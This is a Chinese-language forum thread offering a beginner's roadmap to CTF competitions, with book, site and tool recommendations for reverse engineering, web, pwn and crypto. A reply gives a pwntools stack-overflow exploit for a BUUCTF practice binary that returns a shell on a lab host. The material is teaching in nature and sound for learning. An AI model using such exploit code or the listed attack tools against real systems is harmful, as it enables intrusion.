折腾完个人博客以后把这一篇原帖和大佬们的补充搬到博客里了->CTF:从0到1 -> zero2one | c10udlnk_Log
是一点CTF的入门心得吧,希望能给想玩CTF的小朋友们一点帮助。
这里还只是个划水摸鱼的萌新(捂头)有什么写错的地方烦请大佬们补充谢谢0v0
持续更新ing...


0x01 关于CTF

Ⅰ. 一点简介

CTF(Capture The Flag,夺旗赛),就是通过程序分析、攻防对抗等形式,从比赛平台的题目中得到一串具有一定格式的字符串(被称为flag)或其他内容,并将其提交到平台上以夺得分数。

Ⅱ. 亿点简介

详细简介这东西,前人有简介的话当然引用前人的了(捂头跑路)。感觉目前来说看到最完整的介绍要数CTFHub里的了 (要不是因为要去拿彩蛋的flag估计我也不会看到这些介绍hhh)

CTF简介:CTF简介 | CTFHub

关于CTF的竞赛模式:竞赛模式 | CTFHub

关于CTF的比赛形式:比赛形式 | CTFHub

关于CTF的题目类型:题目类型 | CTFHub

0x02 从入门到...

Ⅰ. 新手教程

1)选择一个主攻方向

在读完上面的亿点简介(尤其是题目类型)以后,可以试图寻找自己对哪个方向更感兴趣(web,reverse/逆向,pwn/二进制,crypto/密码学)。为什么不选misc呢?因为杂项实在是太杂,建议团队三个人都或多或少地刷一下,华师CTF新生赛里杂项类是为数不多能做出来的题目了(捂头跑)

我的话目前是个摸鱼的逆向手,所以对逆向方面比较熟悉(吧,打算往pwn方向延伸。

关于web方向的入门感谢fxizenta 大佬补充(指路6L
关于pwn方向的入门感谢CsomePro 大佬补充(指路14L
关于crypto方向的入门感谢M0D1 大佬补充(指路17L

对几个方向的一点点理解是:

  • 感觉 web 相当于前端的杂项,听说web包括的方面很多很杂,做起来令人头大(想问具体的就去敲web手吧[甩锅])。

  • 逆向 上我感觉算是比较简单也比较累的一个方向,入门的话只要能读得懂C/C++源代码就完全ojbk,后期可能需要人肉反汇编&反编译,做题的时候十分需要感受宁静hhhh

  • pwn 则是简单逆向+漏洞利用,入门可能比较难(?但是新生赛里说不定就有输入十六个b就能出flag的究极简单题[手动狗头]),毕竟需要在读懂程序逻辑(一般这里的程序逻辑没逆向那么难)以后,发现能利用的漏洞(比如堆栈溢出/重复free等),如果对计算机内部处理比较感兴趣的同学可以试试?

  • 密码学 感觉是万物归宗(x),后期无论做什么题都有可能遇到密码学(比如上次ciscn逆向到最后是一道TEA解密的问题),very需要数论基础。

组队的时候,可以先组人再分方向,也可以通过方向来选人,最理想的状态是三人方向不同,优势互补。

2)边练边学,刷题入门

CTF比赛过程中跟其他比赛最大的不同点就是能在互联网查找资料,赛后还(或许)能搜到一些题目的wp(即write up,类似于答案解析)

如果已经发现了自己感兴趣的方向,那必然是极好的,接下来就可以在一些刷题网站(如CTFHub、攻防世界、Bugku CTF等,在0x03中会有详细介绍)中,选择该方向的题目进行练习。刚开始的时候,或许还不懂面对题目应该做什么,那么可以选择在网上找这道题目的wp(如这道题目在攻防世界上,名为easyre,那么可以搜索“攻防世界 easyre”,就能看到它的解题思路)。

当然,如果没有找到方向也不用担心,可以各个方向的题都试试跟着wp做一下,或许能在做题的过程中发现兴趣点呢hhh。

初学者可以直接跟着wp复现得到flag,但跟着做的过程中也要学到做题的思路和思考方向。 在学了一些题目以后,就可以尝试自己做一些题啦,能做出就成就感up,没做出就继续看wp o( ̄▽ ̄)ブ。当然,也不是每道题都有wp,但不用担心,这些网站在新手区放的经典题基本上都会有wp的。

CTF的学习过程其实更像是积累经验的过程,在做每一道题、打每一场比赛的赛中和赛后能学到新的知识点,也能知道自己在什么方面有所不足、哪些点因为粗心忽略掉了。

同时,也别忘了很重要的 “自造轮子” ,CTF是用自己的电脑进行比赛的,也就是说会很依赖本地的库和脚本。万一碰到不能去互联网查资料的&#?%@比赛(真的存在XD),就意味着你需要用本地脚本进行某个密码算法(比如TEA)的解密,如果没有本地轮子就只能现打了,还是很费时间的orz。
(p.s. 在找不到在线解密的网站时,有本地的解密代码也很方便)

比赛入门强推:华师CTF新生赛

Ⅱ. 必先利其器

无论哪个方向,写脚本用的语言建议首选Python。(Python是世界上最好的语言!!)

Reverse:

  • IDA pro(yyds!反汇编+反编译必备;ida使用小技巧:IDA Pro7.0使用技巧总结
  • Ollydbg(简称OD,一个动态调试工具)
  • WinHex或者010 editor(读||复制粘贴十六进制机器码的工具)
  • Ghidra(一个支持反编译mips64的工具)
  • PEiD或者ExEinfo PE(查壳工具)
  • uncompyle6(.pyc反编译为.py的工具;uncompyle6安装使用方法
  • pintool(二进制插桩找输入;Pintool或者PinCTF有坑,目前还没折腾出来orz 有成功的小伙伴拍我一下谢谢! 2020.11 update:装上了!才发现有坑是因为没有升级wsl的问题(捂头。整理于=>【从无到有】Pintool安装&使用
  • angr(超强的符号执行引擎,vm题利器(x);项目地址:angr,例题:angr-doc,题库:angr_ctf,对于这个题库自己写了个angr_ctf刷题小记,非题解)
  • unicorn(CPU仿真器框架,提供hook;项目地址:unicorn-engine
  • ...(想到什么再补好了XD

Pwn:

简单加解密?(misc):

别的方向暂时还无,建议搜索引擎走起QvQ

0x03 安利一些前人的肩膀

Ⅰ. 一些书

【读过给“o”标志,简单说一下读后感;未读过给“x”标志,简介从网络上搬过来,仅供参考。】

  1. 《CTF特训营:技术详解、解题方法与竞赛技巧》【o】【全方向】

这本书里包括Web、Reverse、PWN、Crypto、APK、IoT六个部分,据说是面向初学者的一本书。但是从阅读体验来看,感觉不太适合一点都没接触过CTF的小白(连一道题都没做过的这种),至少在看到的逆向和pwn部分是这样。

不过,它虽然没有手把手带你入门的详细步骤,但有的是干货max。如果读者是做过一点题的咸鱼选手(比如我),就会感觉学到了超多,里面介绍和总结了很多实用的技巧和某一部分的详细题型。很多方法就是提一嘴,让你知道有这个东西,但具体该怎么用、用的时候该注意什么,就得自己去领悟了。

总结:感觉本书适合 跟着wp做了一些题目并能独立做出几道的初学者想要往别的方向发展的现役选手

/* 本书勘误表:https://github.com/FlappyPig/CTF_SPECIAL_TRAINING_CAMP */

  1. 《从0到1:CTFer成长之路》【o】【全方向】

2020.12 update:是NU1L战队出的一本入门书。从读完的逆向part来说,感觉比起上一本而言这个才是real从0到1:页数++++,0是真的0,1也是真的1(目前只能理解到0->0.9的样子,tcl)。

先说从0的部分,很多基础操作都是一步步带着走的,相信零基础也能毫无难度的上手。而且本书还有配套练习的crackme,有点小型wp复现的感觉了。同时干货也有很多,ida部分推荐了一些实用插件+其他还安利了很多挺有用的工具。btw,提一下它的angr起步讲的真的很详细,至少让我get到了几个常用的优化点+认识到了看文档的重要性。

然后是到1的部分,感觉有很多巧妙的高级操作,往上进阶的部分讲了很多(虽然书里说是说“冰山一角”)。至于说到0.9是因为自制pintool那里暂时不太能理解,菜鸡还是先用着别人的开源pintool吧(捂头)

总结:这本书强推给零基础的小朋友们(至少逆向是这样的),并且建议在增强理论学习的同时可以跟着实践一下,效果更佳。

/* 本书勘误表:https://book.nu1l.com/tasks/#/pages/others/bugs?id */

  1. 《加密与解密》【o】【Reverse && PWN】

加解密yyds!!绝对是值得反复读的好书=v=

虽然有点厚都是跳着看的hhh,但是打基础真的很棒。

推荐阅读路线(亲测)是基础篇->调试篇(了解学习IDA和OD/WinDbg/...的大致用法)->解密篇(大概看看会出到的密码算法)->脱壳篇&&保护篇(感觉主要是脱壳和反调试)->PE部分(走基础)->剩下没看的。

/* 本书勘误表:https://bbs.pediy.com/thread-247429.htm */

  1. 《逆向工程权威指南(RE4B)》【x】【Reverse】

【本书专注于软件的逆向工程,是写给初学者的一本经典指南。全书共分为12个部分,共102章,涉及X86/X64、ARM/ARM-64、MIPS、Java/JVM等重要话题,堪称是逆向工程技术百科全书。除了详细讲解,本书来给出了很多习题来帮助读者巩固所学的知识,附录部分给出了习题的解答。】

是一本在很多逆向方向入门帖里都会安利的书hhhh

  1. 《汇编语言》【o】【Reverse && PWN】

这本书我觉得是汇编入门宝典,虽然讲的是16位的古早8086CPU,但是把汇编的机制搞懂了以后,再看看x86/64和8086的区别就可以迅速用到题目里面。(比如vm的反汇编)

我觉得在学习汇编上跟别的语言不同的是,最重要不是语法,而是计算机程序的运行过程、数据存储布局等底层的东西 ,而这本书在这方面讲的很通俗易懂不枯燥,推荐xn。

  1. 《图解密码技术》【o】【Crypto】

(大致看了一些部分)就是一本很有趣的讲密码学的书!建议从前言看起发现彩蛋√

因为去年刚开学那会是抱着随便了解了解的心态看的,所以可能对里面专业的东西没怎么记得住,为了避免误解我还是搬一段简介吧↓

【本书以图配文的形式,详细讲解了6种最重要的密码技术:对称密码、公钥密码、单向散列函数、消息认证码、数字签名和伪随机数生成器。第一部分讲述了密码技术的历史沿革、对称密码、分组密码模式(包括ECB、CBC、CFB、OFB、CTR)、公钥、混合密码系统。第二部分重点介绍了认证方面的内容,涉及单向散列函数、消息认证码、数字签名、证书等。第三部分讲述了密钥、随机数、PGP、SSL/TLS 以及密码技术在现实生活中的应用。】

2021.06 upd:上个月又把这本书摸出来补完了,感觉这本书偏向科普类型,涉及的范围很广但是没有很深入地讲(比如具体加密实现什么的),吸引兴趣倒是很可以hhh。

  1. 《白帽子讲web安全》【x】【Web】

【在互联网时代,数据安全与个人隐私受到了前所未有的挑战,各种新奇的攻击技术层出不穷。如何才能更好地保护我们的数据?本书将带你走进Web安全的世界,让你了解Web安全的方方面面。黑客不再变得神秘,攻击技术原来我也可以会,小网站主自己也能找到正确的安全道路。大公司是怎么做安全的,为什么要选择这样的方案呢?你能在本书中找到答案。详细的剖析,让你不仅能“知其然”,更能“知其所以然”。

本书是根据作者若干年实际工作中积累下来的丰富经验而写成的,在解决方案上具有极强的可操作性,深入分析了各种错误的解决方案与误区,对安全工作者有很好的参考价值。安全开发流程与运营的介绍,对同行业的工作具有指导意义。】

给完全没有了解的隔壁web方向推荐一波<(_ _)>

  1. CSAPP(深入理解计算机系统) 【o】【Reverse && PWN】

推一个大佬们的学习指南/资源汇总:【CMU-CSAPP】2015 CMU 15-213 CSAPP资源汇总

同样是没有折腾完的一本书(瘫)想对计算机底层方面有更深层次了解的朋友们可以试着阅读一番=v=

Ⅱ. 一些网站

  1. 华师CTF

是一个宝藏集合网站!不仅仅是一个报名网站(去年),里面的知识清单&训练场也大有乾坤,建议都扫一遍=v=

  1. 0xFFFF

是一个很多dalao水的论坛!干货很多实名安利!

不只是CTF区,其他的区也有很多好玩的帖子,建议多逛 (潜水玩家捂头跑路)

  1. 攻防世界【刷题网站】

这里有一个专门刷题的答题区,准备新生赛的话可以考虑一下把对应方向的新手练习区按上面说的方法刷一遍hhh(其实感觉新手练习区有些题目也是偏难的XD)

而且有些比赛也是在这个平台上举办的,先搞个账号不亏2333。

  1. CTFHub【刷题网站】

这个网站其实是一个hub一样的集合类网站,这个技能树看起来包括的方面还挺全的 (就是还没多少题orz 毕竟新站)

不过赛事中心&历年真题&工具部分还是挺不错的,想复盘可以去找找题目,需要什么工具可以找找(说不定就找到了

  1. 看雪【刷题网站?】

打个问号是因为我觉得它还是更偏向于论坛hhh 刷题这块的功能没怎么用过。

论坛还是很不错的,有很多干货&资源分享><

  1. 吾爱破解

也是个干货&&资源的论坛集合,安利!

  1. Bugku CTF【刷题网站】

刷题网站+1,各个方向的题目分类很明确,不过难度好像没按顺序排?杂项题目类型还是挺丰富的,建议安排一下。

不过新生赛以后也没用这个刷过题了= =可能有理解偏差x

  1. CTF wiki(https://wiki.x10sec.org/ or https://ctf-wiki.github.io/ctf-wiki/

经楼下web大佬提醒,补充一个CTF各种基础知识大全的网站!

像逆向方面我觉得题型写得比较全,看完说不定对新生赛有用(手动狗头

  1. 0xFFFF CS Wiki - 信息安全

突然发现0xFFFF CS Wiki上有给CTF的介绍和一些网站的集合,mark一下。

(看到pwn部分整理了少而精的链接,试图增加pwn的工具ing

  1. CTF All In One

一个CTF相关的百科全书!各个方向的入门基础&题目&工具都挺全的,有时间可以刷一下0v0

最后强推华师CTF新生赛给想入门的小朋友们!

华师CTF新生赛是一个非常非常友好的入门起点,如果你感兴趣的话,快关注今年的CTF新生赛呀(づ◡ど)。不仅奖品丰富实用(至少是我参加那么多比赛以来拿到最多奖品的一个),还能顺便入门CTF,何乐而不为呢2333 >v<

    隔壁的摸鱼web来补充一下web入门

    0x00入门建议

    web方向应该算是比较难入门的方向(尤其对于无基础的萌新),完全无基础的同学建议从w3school开始吧,期间也可以做一些简单的题(题库上面的dalao说的都挺不错的),学习web方向如果没有学习过前端、协议、命令行等基础的知识的话,在前期是挺任意有错败感的,这里建议在做题中思考了很长时间发现完全没有思路,建议可以直接去看write up,在从wp中学习dalao们的思路,很重要的一点是,在wp中有什么发现自己不明白的,建议善用搜索引擎,把题目的思路了解清楚。

    0x01web常用工具

    1.Burp Suite

    web题常用工具,功能十分强大,常用于用于抓包、发包、爆破,可以在官网下载到社区版

    bp的配置和简单功能解释:https://blog.csdn.net/u011723630/article/details/80315507

    2.kali

    Kali 是一个基于 Debian 的 Linux 发行版。它的目标就是为了简单:在一个实用的工具包里尽可能多的包含渗透和审计工具。Kali 实现了这个目标。大多数做安全测试的开源工具都被囊括在内。

    kali下载: https://www.kali.org/downloads/

    3.sqlmap

    用于sql注入,功能十分强大包含了盲注,布尔注入,cookie注入等等常见注入方式的扫描和利用,还可以自己定制绕过方法,绕过黑白名单限制。下载github上可以找到

    4.dirsearch

    用于站点扫描,包括扫秒常见的.git,.svn,.apk等备份文件,以及域名下的子目录(不过有个缺点是他只扫描常见的命名规则下的子目录名,所以还是有一定的局限性)。下载github上有

    5.hackbar

    一个浏览器插件,虽然他的功能bp都有,但是对比起bp他有一个巨大优势就是方便(老懒狗了),f12就可以开始使用,提供post和简单编码解码的功能。在Chrome和Firefox的插件商城都可以找到。ps:访问Chrome插件商城需要魔法(狗头)

    0x02学习推荐

    1.ctfwiki

    据说每一位ctf选手都是从这里开始的,不止web选手哦,其他方向的选手也可以去看看

    https://github.com/ctf-wiki/ctf-wiki

    https://wiki.x10sec.org/

    2.打好基础

    无基础直接莽上来的话,你可能会完全一头雾水,如果是完全没有基础的同学建议先学C/C++,一起还是从先学会一个编程语言的基础使用开始吧,然后就可以开始学会一个脚本语言(如python),学习php(至少要看得懂),还可以看看端口知识,传输协议知识等等,最重要的一点,要变做题边学习,如果单单把重心放在flag,而不是做题的学习过程,那么你会失去很多,也会失去打ctf最珍贵的东西。

    最后附上最近刚刚结束的Tencent CTF中的奖励于你我共勉吧

      c10udlnk 是一个很多dalao水的论坛!干货很多实名安利!

      卑微站长表示,这里没有 dalao 哈哈!忘记这个标签,很多东西都很自然而然了

      c10udlnk 突然发现0xFFFF CS Wiki上有给CTF的介绍和一些网站的集合,mark一下。

      Wiki 也可以一起来完善一波哇,目前十分缺乏编辑人手~

        0x0001 不管怎样在论坛里get到了好多东西!(那dalao算是敬称吧2333)

        0x0001 Wiki 也可以一起来完善一波哇,目前十分缺乏编辑人手~

        我感觉自己目前也还处在学别人经验的阶段(萌新摸索学习ing),如果有能力的话当然愿意帮忙添砖加瓦的>v<

        《逆向工程权威指南》,哈哈哈,真是会翻译,而且还卖这么贵!其实,是这本RE4B啊!是Freebook。

          Bintou 是的!但是怕英文版劝退就没提(x)中文版的话不如直接去图书馆借来看

          8 个月 后

          萌新PWN手来补充一下[PWN]从0到0.00001

          Pwn的简介

          Pwn是CTF方向中的一种,主要是利用二进制漏洞从而获得getShell(提权),即获得对方系统权限,从而控制对方电脑。
          Pwn是一个黑客语法的俚语词,自"own"这个字引申出来的,这个词的含意在于,玩家在整个游戏对战中处在胜利的优势,或是说明竞争对手处在完全惨败的 情形下,这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个游戏对战中已经完全被击败(例如:"You just got pwned!")。

          名词储备:writeup(指CTF中解题思路过程的文档),exp(exploit,指漏洞利用程序),栈,汇编,Linux等

          Pwn的理论工具准备

          初学

          工具
          1. Python 2.x 至于为什么不用python3后面会讲到
          2. Linux Windows用户推荐wsl2或虚拟机,MacOS不太清楚
          3. IDA pro 一个逆向分析工具
          4. Pwntools 一个漏洞利用框架工具
          5. checksec ELF保护分析工具(貌似Pwntool自带?)
            储备知识
          6. C语言
          7. 基础Python2语言,及库的用法
          8. 源/伪代码阅读和BUG漏洞寻找能力
          9. 基础Linux命令

          以上可以进行简单的栈溢出的学习

          入门

          工具
          1. pwndbg gdb动态调试插件
          2. Libcsearcher 集成libc查找工具
          3. one_gadget 一句话提权指令搜索工具
          4. ROPgadget rop指令流搜索
            储备知识
          5. C/C++语言
          6. 基础Python2语言,及库的用法
          7. ELF文件结构
          8. 深度理解计算机系统(CSAPP)初步

          加上以上的可以更方便的学习进阶栈溢出、堆利用等知识

          Pwn的学习

          初学-从Writeup中学习

          网站推荐

          1. Xctf攻防世界 站内内置writeup,但最近pwn环境无法分发
          2. Bugku pwn环境可以分发,但需要自行查找writeup,题量少
          3. buuctf pwn环境可以分发,有N1BOOK配套习题(但好像环境坏了?),比赛真题,题量大,但需要自行查找writeup

          入门-从比赛中学习

          参加比赛,利用比赛同时练习技术,这样可以更好的抓住比赛的中pwn的热点,也可以培养随机应变的能力。

          Pwn的环境准备

          由于没有尝试过MacOS上pwn
          所以只有Windows的教程

          Windows

          1. 安装WSL2(子系统) https://docs.microsoft.com/zh-cn/windows/wsl/install-win10
          2. 在WSL中安装Python2 https://www.cnblogs.com/dancesir/p/14201267.html
          3. 在WSL中安装pwntools等库https://docs.pwntools.com/en/latest/install.html
          4. 在WSL中安装checksec https://www.cnblogs.com/luocodes/p/13894106.html
          5. 选择一个你喜欢的IDE,强推VSCode
          在Vscode中配置Pwn中环境
          1. 安装Remote - WSL插件11111
            即可可切换成Ubuntu终端
            ssss
          在Vscode中Pwn

          1.右键-在Vscode中打开文件夹

          在Vscode中打开文件夹
          2.左下角点击><旋转Reopen Folder in WSL (这个尝试过编写exp时没有代码提示,可以在windows上先装python2和pwntools,在windows上编写exp,然后再Linux上运行,即跳过此步骤)
          在这里插入图片描述
          reopen

          3.新建一个exp.py
          exp
          4.开始书写你的脚本
          ok

          Pwntools的学习

          官方文档https://docs.pwntools.com/en/latest/intro.html

          简易快速入门

          导入Pwntools
          from pwn import *
          链接
          r = remote("目标地址str类型", 目标端口int类型)与服务器交互
          r = process("目标程序位置")与本地程序交互
          构造playload之打包
          p64(int)将int类型打包成64位存储
          p32(int)将int类型打包成32位存储
          发送
          r.sendline(playload)发送playload为一行(自动在尾部加上\n)
          接收
          r.recv()接收到结束
          r.recvuntil(end, drop=True)end(str)接受到end之后截至,drop=True时不包括end,drop=False时包括end
          打开交互
          r.interactive()一般在末尾都要加

          Pwn的做题流程

          1. 使用checksec检查ELF文件保护开启的状态
          2. IDApro逆向分析程序漏洞(逻辑复杂的可以使用动态调试)
          3. 编写python的exp脚本进行攻击
          4. (若攻击不成功)进行GDB动态调试,查找原因
          5. (若攻击成功)获取flag,编写Writeup
            注:此做题流程并不完全概括,需要具体情况具体分析

          Pwn的简单例子

          题目来源【BUUCTF PWN】rip

          checksec

          在这里插入图片描述
          64位,导入IDA 64,找到main函数,按F5或是Tab

          分析函数及漏洞

          main函数

          main
          main函数中存在gets(无限读入字符串漏洞),没有开canary可以自由栈溢出
          双击s变量,进入main函数栈区
          stack
          发现s参数位置距离main函数返回地址距离是0xF+0x8个字节
          (位于000000000处的s是存上一个ebp的值,用于恢复上一个函数,位于0000000008处的r是这个函数的返回地址)
          只需要覆盖返回地址r,使它变成我们想要的函数地址,就可以劫持程序,让程序执行完main就执行我们想要的函数(这个题目就是fun函数)。

          fun函数

          fun
          system函数可以执行命令,/bin/sh是执行Linux的命令行程序,也就是可以getshell(提权)
          按Tab+Space
          aa
          查看fun函数的开始地址(图中0x0401186位置)

          编写exp

          from pwn import *
          
          r = process('./pwn1') # 调试时使用本地链接
          
          p1 = "a"*(0xf + 0x8) + p64(0x0401186) 
          # 覆盖到r前面之后,将0x0401186打包,覆盖main函数返回地址
          
          r.sendline(p1) # 发送playload
          
          r.interactive() # 开启交互

          运行
          000
          并没有打通
          需要平衡栈帧(初学可以跳过这个,直接记住结论)
          即需要多return一次
          x86汇编中 ret的指令类似于 先pop(弹出)一个值然后jmp(跳转)到这个值的位置继续执行
          所以寻找一个ret的地址
          ret
          在main函数的结尾就有个retn
          故修改exp

          from pwn import *
          
          r = process('./pwn1') # 调试时使用本地链接
          
          p1 = "a"*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186) 
          # 覆盖到r前面之后,先覆盖main函数返回地址为retn,再将0x0401186打包,覆盖retn的返回地址
          
          r.sendline(p1) # 发送playload
          
          r.interactive() # 开启交互

          show
          发现ls(linux中查看当前文件夹内容的命令)命令可以执行
          再修改exp链接靶机

          from pwn import *
          
          r = remote("node3.buuoj.cn", 29885) # 正式攻击时与靶机交互
          # r = process('./pwn1')
          
          p1 = "a"*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186)
          
          r.sendline(p1)
          
          r.interactive()

          再次运行
          sss
          获取flag
          cat(linux中直接输出文件内容的命令)
          到此就可以庆祝一下提交flag了

          编写Writeup

          提交完flag之后别忘了编写Writeup,Writeup是指记录解题思路的文档,一个小队开一个公共编辑的文档,一旦做出来题目就要将解题思路、exp、部分截图写入文档,因为一般赛事最后需要提交Writeup,以确保你不是py得到的flag

          Pwn的常见漏洞

          栈溢出

          1. gets();无限字符读入\n停止
          2. scanf("%s");无限字符读入\n停止
          3. read(0,buf,0x200);buf位置到返回地址距离小于0x200

          数组下标溢出

          1. 没有判断上界或下界,配合读入或输出,可以任意位置读入或输出

          格式化字符串

          1. 主要利用printf的格式化字符串漏洞,实现栈区内读写

          堆利用

          1. UAF(Use After Free)
          2. 劫持__malloc_hook
          3. 修改__IO_1_2_stdout

            小结

          4. 学习Pwn不仅有利于网安方向的同学,还有利于搞开发等同学,因为可以接触更加底层的东西,提高自己网络安全意识
          5. 刚开始学习Pwn是摸着黑,照猫画虎的,只有不断的理解原理才能独立想出解题方法
          6. 为什么不使用Python3?因为这是个坑,我刚开始尝试的是后就因为python3多了个bytes类型,导致p64()的结果不能直接与str相加,而其中有很多不可见字符,最终放弃了Python3。Python2中bytes值以str形式存储的可以直接与str相加。
          7. Pwn的世界错综复杂,我依然还在摸索,一起加油。
            3 个月 后
            2 个月 后

            萌新密码手来补充一下[Crypto]从0到0.00001

            0. Crypto简介

            如图所示

            P.S. 不仅仅古典密码需要代换和置换哦,但为了MindMap美观我就这样画了

            1.常用工具:

            下面列举的工具不一定是必须的,但如果有时间可以都安装一遍,因为学计算机需要”折腾“

            没给超链接的请自行搜索下载

            如果下载中遇到问题,可自行搜索解决方法或者在相关群上问

            1.1. Python

            做crypto题最常用的编程语言(可能没有之一

            建议 Python3 和 Python2 都安装

            个人目前使用频率比较高的是Python3

            1.1.1.常用的python库

            Crypto

            libnum

            gmpy2

            random

            hashlib

            pwn

            1.2. sagemath

            官方简介:

            SageMath 是一个基于GPL协议的开源数学软件。它使用Python作为通用接口,将现有的许多开源软件包整合在一起,构建一个统一的计算平台。

            我们的目标:创建一个有活力的自由开源软件以替代Magma,Maple,Mathematica和Matlab。

            密码学离不开数学,一个功能超完善的计算平台对一个密码手来说无疑是很有吸引力的(意味着很多算法和相关代数结构不需要自己费心去写了

            官网/下载渠道:

            SageMath - Open-Source Mathematical Software System

            Linux也可以使用命令行安装:

            sudo apt install sagemath-jupter

            1.2.1 常用的sage命令

            #求最大公因子/乘法逆元
            gcd(a,b)
            xgcd(e,phi)  
            
            #解方程
            var('p q')
            f1 = #p和q的相关等式 == #得数
            f2 = #p和q的相关等式 == #得数
            solve([f1,f2],p2,q2)
            
            #构造矩阵/LLL算法
            A = matrix([[1,h],[0,p]])
            lll = A.LLL()

            除此以外,还可以通过编写后缀名为.sage的文件(同时支持python和sagemath语法)来运行相关解题脚本

            编写完以后在命令行输入(我只在linux试过,windows不知道行不行)

            sage xxx.sage

            运行

            1.3. Linux

            Windows用户推荐wsl2或虚拟机,MacOS不太清楚

            1.4. yafu

            用于分解大整数,例如:

            .\yafu-x64.exe "factor(6)"

            类似功能的网站有

            factordb.com

            1.5.openSSL

            遇到题目附件的后缀名奇奇怪怪的,可能就需要用到这个了

            1.6. 一些解题相关网页

            上面提到的分解大整数的factordb.com

            还有词频分析、编码解码、RSA解题套路整合等等……

            (链接就不贴了,做题过程中收集就足够了,也可以私聊我要)

            2.储备知识

            先推荐一些书:

            ①《具体数论与代数》

            强推!

            大名鼎鼎的CINTA

            bintou老师的大作!

            华师网工大二上学期的专业选修”面向信息时代的计算机数学“的教材!

            里面涉及的数学知识和代码都非常友好,必看必看,常看常新。

            可以自学,不懂可以线上问我(不能线下问的原因是有些点我也忘了,需要时间自己过一遍)

            冲冲冲

            ②《图解密码技术》

            密码学科普类书籍,挺好看的,可以用于培养兴趣

            ③《密码编码学与网络安全》

            华师网工大三上学期的专业选修”计算机安全学“的教材

            大部头书,想系统了解密码学的可以看

            下面列举下做crypto可能用到的知识或者算法,具体内容可以通过看上面的书/上网搜索 等方式学习

            2.1.数学

            密码学离不开数学。

            因为加密与解密离不开计算机,而计算机本质上是一个离散结构,只能处理离散的数量关系,所以离散数学不可或缺。

            离散数学是非常大的一块,CTF crytpo题中常涉及的是数论抽象代数

            比如:

            威尔逊定理

            欧拉定理

            费马小定理

            中国剩余定理(CRT)

            拓展中国剩余定理(extend CRT)

            还有环域格等代数结构及其相关内容

            2.2.密码算法及其相关

            首先是一些入门的编码:ASCII,base64等……

            值得一提的是,Crypto库里的 bytes_to_long 和 long_to_bytes 很常用,萌新们务必搞清楚它在做什么

            然后是古典密码,比如摩尔斯电码,栅栏密码、凯撒密码、猪圈秘密、棋盘密码、培根密码、维吉尼亚密码等很多,还有一些XXencode、UUencode、brainfuck等知道了就肯定会的靠经验的密码或编码,这些网上都能找到

            再之后是RC4,DES,AES, 哈希,DH密钥交换,RSA,ECC,格密码等等

            ……

            crypto常用算法有:

            线性同余方法(lcg)

            欧几里得算法(gcd)

            拓展欧几里得算法(extend gcd)

            小步大步算法(bsgs)

            拓展小步大步算法(extend bsgs)

            费马因式分解

            CopperSmith方法

            等等……

            3.做题Tips

            做题的时候

            首先从标题、描述、附件等判断是哪一类的密码,然后再对症下药

            萌新上路可以从常见的编码和古典密码开始,之后就可以涉猎对称和非对称了。

            对称密码的话,AES及其五种工作模式(ECB,CBC,CFB,OFB,CTR)是绕不开的;非对称的话肯定是从RSA开始了。

            题目附件里的代码常有如下字样

            from secret import flag

            可以理解成出题人把flag藏在secret这个私有库里了,这样的代码不能直接运行(所以不要傻傻地下载所谓的secret库然后运行它),

            而需要做题人通过分析代码里面的加密方式还原出flag

            在某些题目中,虽然代码本身运行不了,但是某些函数却可以利用(术语:oracle),解密时可以直接挪用到自己的解题脚本上运行。

            4.小结

            •没事多搜索

            •克服畏难心理,很多题不需要完全懂里面的数学原理也能做

            •平时多收集各类脚本/网页,解题事半功倍

            •兴趣是最好的老师,心情次之。没有兴趣或许可以换个方向:-),没心情做题可以歇会

            •某些杂项题和密码题只涉及词频分析、编码、古典密码、流密码,少有对数理知识和读写代码能力的要求,但却很考验大家的脑洞,而个人的脑洞是有限的,所以建议团队协作

              1 年 后

              Error M0D1 抓bug~ 不是“块密码”,是“分组密码”

              英文原文是「Block Cipher」,译成「块密码」或「分组密码」都是可以的,维基百科有描述:

              在密码学中,分组加密(英语:Block cipher),又称分块加密或块密码,是一种对称密钥算法。

              © 2018-2025 0xFFFF